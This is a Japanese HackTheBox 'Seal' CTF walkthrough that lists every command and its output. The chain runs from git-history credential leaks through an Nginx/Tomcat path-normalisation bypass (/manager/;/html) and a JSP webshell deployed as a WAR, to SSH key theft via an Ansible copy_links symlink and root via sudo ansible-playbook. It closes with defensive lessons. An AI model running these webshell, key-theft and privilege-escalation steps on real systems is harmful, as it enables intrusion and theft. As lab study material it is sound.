HackTheBox: Seal — 全実行コマンド・実行結果レポート
Nmap スキャン
22/443/8080
→
22/443/8080
GitBucket登録+git履歴
tomcat manager 資格情報漏洩
→
tomcat manager 資格情報漏洩
Nginxパス正規化バグ
/manager/;/html でMutual-Auth回避
→
/manager/;/html でMutual-Auth回避
WARファイルデプロイ
JSP webshell RCE (tomcat)
→
JSP webshell RCE (tomcat)
tomcat シェル
user.txt(kyleではなくluis) ✓
→
user.txt(kyleではなくluis) ✓
Ansible copy_links悪用
symlink → luis鍵を平文アーカイブ化
→
symlink → luis鍵を平文アーカイブ化
luis SSHアクセス
→
sudo ansible-playbook
構文エラー悪用の任意ファイル読取
→
構文エラー悪用の任意ファイル読取
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -p- --min-rate=1000 -T4 10.129.95.190 nmap -p22,443,8080 -sV -sC 10.129.95.190
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) | ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd 8080/tcp open http Jetty | http-auth: | HTTP/1.1 401 Unauthorized |_ Server returned status 401 but no WWW-Authenticate header.
ℹ️
443番はnginx製の静的サイト「Seal Market」(野菜ショップの体裁)、8080番はJetty上のGitBucket
(自ホストGitサーバ)。全パスで401を返すのは
/signinのみ許可する認証フィルタが理由。
443番のディレクトリ列挙
BASH
ffuf -u https://10.129.95.190/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
RESULT
admin [Status: 302] manager [Status: 302] host-manager [Status: 302]
BASH
curl -k https://10.129.95.190/manager/html curl -k https://10.129.95.190/admin/dashboard
RESULT
<h1>403 Forbidden</h1> ← 両方とも同じ403
ℹ️
Tomcatの
/managerと/host-manager、独自の/admin/dashboard
管理画面がいずれも同じ403を返す ── 何らかの共通アクセス制御がかかっている。詳細はGitBucket側から判明する。
PHASE 2
GitBucket登録 & リポジトリ・git履歴の調査
アカウント登録・ログイン
BASH
curl -s -c cookies.txt -X POST http://10.129.95.190:8080/register \ --data-urlencode "userName=pentester1" --data-urlencode "password=P3ntest!2026" \ --data-urlencode "fullName=Pentester One" --data-urlencode "mailAddress=pentester1@seal.htb" curl -s -c cookies.txt -X POST http://10.129.95.190:8080/signin \ --data-urlencode "userName=pentester1" --data-urlencode "password=P3ntest!2026"
✅
GitBucketはセルフ登録が有効。デフォルト管理者
root/root は変更済みで失敗するが、
自分のアカウントを作成するだけで root 所有の公開リポジトリを閲覧できてしまう。
BASH
curl -s -b cookies.txt http://10.129.95.190:8080/dashboard/repos
RESULT
root/infra (Ansible: Tomcatデプロイ用プレイブック) root/seal_market (nginx/tomcat設定 + Webアプリ本体、12コミット)
Mutual Authentication の存在をREADMEから把握
seal_market/README.md
# Seal Market App ## ToDo - Remove mutual authentication for dashboard, setup registration and login features. - Deploy updated tomcat configuration. - Disable manager and host-manager.
BASH
curl -s -b cookies.txt http://10.129.95.190:8080/root/seal_market/raw/master/nginx/sites-available/default
RESULT(抜粋)
ssl_client_certificate /var/www/keys/selfsigned-ca.crt;
ssl_verify_client optional;
location /manager/html {
if ($ssl_client_verify != SUCCESS) { return 403; }
proxy_pass http://localhost:8000;
}
location /admin/dashboard { ... 同様 ... }
location /host-manager/html { ... 同様 ... }
🚨
3つの管理系パスはすべてクライアント証明書によるMutual Authenticationで保護されている。
証明書無しでは
$ssl_client_verify != SUCCESS となり403が返る ── これがPhase1で見た403の正体。
git履歴からTomcat Manager資格情報を回収
BASH
git clone http://pentester1:P3ntest!2026@10.129.95.190:8080/git/root/seal_market.git cd seal_market git log --all -p -- tomcat/tomcat-users.xml | grep -A1 -B1 'password='
RESULT
- <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> ← コメントのプレースホルダ(無視) ... +<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
⚠️
tomcat-users.xmlにはApache標準のコメントアウトされたサンプル行(パスワード
<must-be-changed>)が大量にあり、最初にマッチした行を鵜呑みにすると誤った値を掴む。
実際に有効な資格情報は roles=”manager-gui,admin-gui” を持つ非コメント行のみ。
Tomcat Manager 資格情報(git履歴から漏洩)
tomcat : 42MrHBf*z8{Z%
PHASE 3
Nginxパス正規化バグでMutual-Auth回避 → WARデプロイRCE
Nginx / Tomcat 間のパス解釈の不一致
NOTE
URL: /manager/foo;name=orange/bar/ に対する各ミドルウェアの解釈: Nginx / Apache / IIS → /foo;name=orange/bar/ (そのまま) Tomcat / Jetty → /foo/bar/ (; 以降をパスパラメータとして除去) nginxのlocationマッチは文字列プレフィックスの完全一致("/manager/html"で始まるか)。 "/manager/;/html" は "/manager/html" という文字列とは一致しない ため $ssl_client_verify のチェック自体を素通りする。一方でTomcat側は ";" 区切りの セグメントをパスパラメータとみなして除去するため、最終的に "/manager/html" として 正しくルーティングされる。
🚨
Nginx側の文字列マッチとTomcat側のパス正規化の不一致を突く、
著名な「Inconsistency to ACL bypass」パターン(getbynder.com事例と同型)。
回避パスでTomcat Managerにログイン
BASH
curl -k -u 'tomcat:42MrHBf*z8{Z%' https://10.129.95.190/manager/;/html
RESULT
Tomcat Web Application Manager
Message: OK
Applications: / , /host-manager , /manager
Server: Apache Tomcat/9.0.31 (Ubuntu), Hostname: seal, IP: 127.0.1.1
✅
クライアント証明書なしでMutual Authenticationを完全にバイパスし、
Tomcat Manager GUIへのフルアクセスを獲得した。
JSP webshellをWARファイルとしてデプロイ
PYTHON (cmd.jsp)
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
// 標準出力・標準エラーをそのままレスポンスへ出力
}
%>
BASH
jar -cf shell.war cmd.jsp
# GET /manager/;/html でセッション(JSESSIONID)とCSRF_NONCEを取得した上で、
# 同じバイパスパスに multipart/form-data で WAR をアップロード
curl -k -u 'tomcat:42MrHBf*z8{Z%' -b cookies.txt \
"https://10.129.95.190/manager/;/html/upload;jsessionid=<JSESSIONID>?org.apache.catalina.filters.CSRF_NONCE=<NONCE>" \
-F "deployWar=@shell.war;type=application/octet-stream"
RESULT
Message: OK (アプリ一覧に /shell が追加される)
⚠️
アップロードのPOSTリクエストにもTomcatのCSRF対策ノンス(
CSRF_NONCE)が必須。
これを付け忘れるとGUI経由の見た目上は成功しているように見えて実際には拒否される点に注意。
BASH
curl -k "https://10.129.95.190/shell/cmd.jsp?cmd=id"
RESULT
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
✅
RCE獲得成功。 ただしこの
tomcat システムユーザーには
home/.txtフラグは無く、実ユーザーは luis(GitBucketをこのアカウントで起動)。
PHASE 4
横展開の下調べ — /opt/backups のAnsible自動バックアップ
定期実行されるAnsibleバックアップを発見
BASH
ls -la /opt/backups; cat /opt/backups/playbook/run.yml
RESULT
drwxrwxr-x luis luis archives
drwxrwxr-x luis luis playbook
---
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard \
dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file: {state: absent, path: /opt/backups/files/}
🚨
luis所有のcronがこのプレイブックを約2分おきに実行している。
synchronizeモジュールの copy_links=yes は
「シンボリックリンクをリンクのまま複製せず、リンク先の実体をコピーする」設定。
dashboardのuploadsフォルダがworld-writable
BASH
ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard
RESULT
drwxrwxrwx root root uploads
luisのSSH秘密鍵へのシンボリックリンクを設置
BASH
curl -k "https://10.129.95.190/shell/cmd.jsp?cmd=ln+-sf+/home/luis/.ssh/id_rsa+/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/keys"
RESULT(設置確認)
lrwxrwxrwx 1 tomcat tomcat 22 ... keys -> /home/luis/.ssh/id_rsa
約2分後、cronが起動したAnsibleが uploads フォルダごと同期する際、
copy_links=yes によって シンボリックリンクではなく id_rsa の実体データが
/opt/backups/files/dashboard/uploads/keys にコピーされ、そのまま
luis所有・world-readableなアーカイブに固められる。
BASH
ls -la /opt/backups/archives/ # → backup-2026-09-26-06:45:32.gz (luis:luis, -rw-rw-r--) curl -k "https://10.129.95.190/shell/cmd.jsp?cmd=cp+/opt/backups/archives/backup-2026-09-26-06:45:32.gz+/var/lib/tomcat9/webapps/shell/backup.gz" curl -k -o backup.gz "https://10.129.95.190/shell/backup.gz" tar -xzf backup.gz && cat dashboard/uploads/keys
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs3kISCeddKacCQhVcpTTVcLxM9q2iQKzi9hsnlEt0Z7kchZrSZsG
...(省略)...
-----END OPENSSH PRIVATE KEY-----
✅
luisの実SSH秘密鍵を窃取成功。
クライアント証明書もパスワードクラックも不要な、Ansibleの機能悪用による正攻法の横展開。
luisとしてSSHログイン & user.txt取得
BASH
chmod 600 luis_id_rsa ssh -i luis_id_rsa luis@10.129.95.190 "id; cat /home/luis/user.txt"
RESULT
uid=1000(luis) gid=1000(luis) groups=1000(luis)
f41d15d7f8884afdce2d7ab8b4b9d68f
user.txt — luis
f41d15d7f8884afdce2d7ab8b4b9d68f
PHASE 5
権限昇格の下調べ — ansible-playbook の NOPASSWD sudo
sudo -l の確認
BASH
ssh -i luis_id_rsa luis@10.129.95.190 "sudo -l"
RESULT
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
🚨
ansible-playbookを任意引数でroot実行できる。GTFOBinsにも載る
典型的な権限昇格ポイントで、少なくとも2通りの攻略法がある。
PHASE 6
ansible-playbook 悪用 → root.txt
方法1: SUIDビット付与プレイブック
PYTHON (root.yml)
---
- name: "Root"
hosts: localhost
connection: local
tasks:
- name: "run this command"
shell: "chmod u+s /bin/dash"
register: "output"
- debug: var=output.stdout_lines
BASH
scp -i luis_id_rsa root.yml luis@10.129.95.190:/tmp/root.yml ssh -i luis_id_rsa luis@10.129.95.190 "sudo ansible-playbook /tmp/root.yml; sh -p -c 'id; cat /root/root.txt'"
RESULT
-rwsr-xr-x 1 root root 129816 ... /bin/dash ← SUID付与成功 uid=1000(luis) gid=1000(luis) euid=0(root) groups=1000(luis) da0cfb9c8f3aa13a30d25683e345a96e
✅
ansible-playbookのタスクはroot権限で実行されるため、chmod u+s /bin/dash
を仕込んだ後 sh -p でフル特権シェルを得られる。使用後は
chmod u-s /bin/dash で後片付け必須。
方法2: 構文チェックエラーを悪用した任意ファイル読み取り(より高速)
NOTE
ansible-playbookは実行前にYAML構文を検証する。有効なPlaybook形式でない
ファイル(例えば普通のテキストファイル)を渡すと、パースエラーメッセージの中に
該当ファイルの内容がそのままエコーバックされる。sudoで任意パスを
指定できるため、これは事実上の任意ファイル読み取りプリミティブになる。
BASH
ssh -i luis_id_rsa luis@10.129.95.190 "sudo ansible-playbook /root/root.txt"
RESULT
ERROR! A playbook must be a list of plays, got a <class '...AnsibleUnicode'> instead
The error appears to be in '/root/root.txt': line 1, column 1 ...
The offending line appears to be:
da0cfb9c8f3aa13a30d25683e345a96e
^ here
✅
SUID設置・シェル起動・後片付けの手間なく、1コマンドでroot.txtを直接読み取れる。
同じ手法で
/etc/shadow 等も読み取り可能。
root.txt
da0cfb9c8f3aa13a30d25683e345a96e
後片付け
BASH
ssh -i luis_id_rsa luis@10.129.95.190 "sh -p -c 'chmod u-s /bin/dash; rm -f /tmp/root.yml'" curl -k "https://10.129.95.190/shell/cmd.jsp?cmd=rm+-f+/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/keys" # Tomcat Manager から /shell を undeploy
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — luis
f41d15d7f8884afdce2d7ab8b4b9d68f
root.txt — root
da0cfb9c8f3aa13a30d25683e345a96e
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 機密情報のgit履歴残留 | GitBucket root/seal_market リポジトリ | Tomcat Manager資格情報の漏洩 | Medium | セルフ登録可能なGitBucketで公開リポジトリの全コミット履歴を走査し、削除・上書きされた認証情報を復元 |
| Nginxパス正規化の不一致 | /manager/html, /admin/dashboard, /host-manager/html | クライアント証明書(Mutual Auth)の完全バイパス | Critical | /manager/;/html のようにセミコロンでセグメントを分断し、Nginxの文字列一致とTomcatのパスパラメータ除去の解釈差を突く |
| Tomcat Manager 経由の任意コード実行 | Tomcat Manager (WAR デプロイ機能) | tomcatユーザーとしてのRCE | High | JSP webshellをWARに固めてアップロード・デプロイ(Manager GUIのCSRFノンス取得込み) |
| Ansible synchronize copy_links の悪用 | /opt/backups/playbook/run.yml + world-writableなuploadsディレクトリ | luisのSSH秘密鍵窃取(横展開) | High | 攻撃者が書き込めるディレクトリにシンボリックリンクを設置し、copy_links=yesで定期バックアップ処理にリンク先の実体をコピーさせ、world-readableなアーカイブとして持ち出す |
| ansible-playbook の NOPASSWD sudo | /usr/bin/ansible-playbook * | root権限昇格(SUID付与 or 任意ファイル読み取り) | Critical | 悪意あるPlaybookでSUID付与、または構文エラーメッセージに紛れ込む任意ファイル内容の読み取り |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap、ffuf | 22/443/8080、GitBucket、Tomcat管理系403 |
| 2 | 情報収集 | GitBucketセルフ登録 + git log -p | tomcat:42MrHBf*z8{Z%、Mutual Auth設定の把握 |
| 3 | 認証バイパス+RCE | /manager/;/html + WARデプロイ | tomcatユーザーシェル |
| 4 | 横展開 | Ansible copy_links シンボリックリンク悪用 | user.txt(luisのSSH鍵窃取) |
| 5 | 権限調査 | sudo -l | ansible-playbook NOPASSWD確認 |
| 6 | 権限昇格 | ansible-playbook構文エラー悪用の任意ファイル読取 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 自己ホスト型Gitサーバでセルフ登録が有効、かつ機密情報がコミット履歴に残留 | 登録機能は招待制/管理者承認制にし、機密情報混入時はgit filter-repo等で履歴自体を書き換える(単なる新規コミットでの上書きでは不十分) |
| Nginxのリバースプロキシ設定がTomcatとのパス解釈差異を考慮していない | アクセス制御は可能な限りアプリケーション層(Tomcat自身のRemoteAddrValve等)で行い、フロントプロキシの文字列一致だけに依存しない。merge_slashesだけでなくセミコロンを含む不正な区切り文字も正規化・拒否する |
| Tomcat Managerが本番稼働かつ推測可能な資格情報で保護 | Manager/Host Managerアプリは本番環境で無効化するか、IP制限とVPN経由アクセスに限定する |
| world-writableディレクトリに対しシンボリックリンクを実体化するバックアップ処理 | copy_linksのデフォルトは避け、rsync/Ansibleのバックアップ対象ディレクトリのパーミッションを最小化。symlink検出・拒否のオプションを明示的に有効化する |
| ansible-playbookへの無制限なsudo権限付与 | 実行対象のPlaybookパスをホワイトリスト化し、任意ファイルパスを引数として渡せないようにする。少なくとも構文検証エラーの詳細出力を一般ユーザーに晒さない |

